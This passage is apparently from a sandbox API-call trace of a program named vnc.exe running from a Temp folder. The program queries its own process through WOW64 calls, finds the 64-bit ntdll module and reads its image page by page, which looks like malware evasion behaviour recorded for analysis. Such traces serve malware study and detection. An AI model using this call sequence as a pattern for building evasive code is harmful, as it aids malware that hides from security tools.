[244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0140.377] ResumeThread (hThread=0x16c) returned 0x1 [0140.564] Sleep (dwMilliseconds=0x1f4) [0142.401] SuspendThread (hThread=0x16c) returned 0x0 [0142.403] LocalFree (hMem=0x737ba0) returned 0x0 [0142.403] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x830000) returned 0x0 [0142.472] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0142.472] CloseHandle (hObject=0x17c) returned 1 [0142.472] GetCurrentProcessId () returned 0x29c [0142.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x29c) returned 0x17c [0142.473] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0142.473] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0142.473] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea00, ProcessInformationLength=0x30, ReturnLength=0x18ea58 | out: ProcessInformation64=0x18ea00, ReturnLength=0x18ea58) returned 0x0 [0142.473] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0142.473] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.473] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.474] LocalFree (hMem=0x7392a0) returned 0x0 [0142.474] LocalFree (hMem=0x72e060) returned 0x0 [0142.474] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x830000 [0142.475] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0142.475] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0142.475] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea00, ProcessInformationLength=0x30, ReturnLength=0x18ea58 | out: ProcessInformation64=0x18ea00, ReturnLength=0x18ea58) returned 0x0 [0142.475] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0142.475] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0142.475] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0142.475] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0142.475] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.475] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1918, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x58 | out: Buffer=0x0, NumberOfBytesRead=0x58) returned 0x0 [0142.476] StrRChrA (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe", lpEnd=0x0, wMatch=0x5c) returned="\\vnc.exe" [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1a60, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0142.476] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2300, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0142.476] StrRChrA (lpStart="C:\\Windows\\system32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b25e0, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0142.476] StrRChrA (lpStart="C:\\Windows\\system32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0142.476] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0142.477] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2100, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0142.477] StrRChrA (lpStart="C:\\Windows\\system32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0142.477] LocalFree (hMem=0x7392a0) returned 0x0 [0142.478] LocalFree (hMem=0x72e060) returned 0x0 [0142.478] lstrcmpiA (lpString1="vnc.exe", lpString2="NTDLL.DLL") returned 1 [0142.478] StrChrA (lpStart="vnc.exe", wMatch=0x2e) returned=".exe" [0142.478] lstrcmpiA (lpString1="vnc", lpString2="NTDLL.DLL") returned 1 [0142.478] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0142.478] VirtualFree (lpAddress=0x830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0142.480] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0142.480] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.481] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.481] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.481] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.481] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.482] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.482] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.482] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.483] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.483] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.483] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.484] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.571] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.571] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.571] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.571] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.571] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.571] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.572] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.572] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.572] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.572] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.572] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.572] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.573] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.574] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.575] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.576] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.577] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.578] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.578] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.578] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.578] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.578] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.579] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e2000, Buffer=0x7fff, 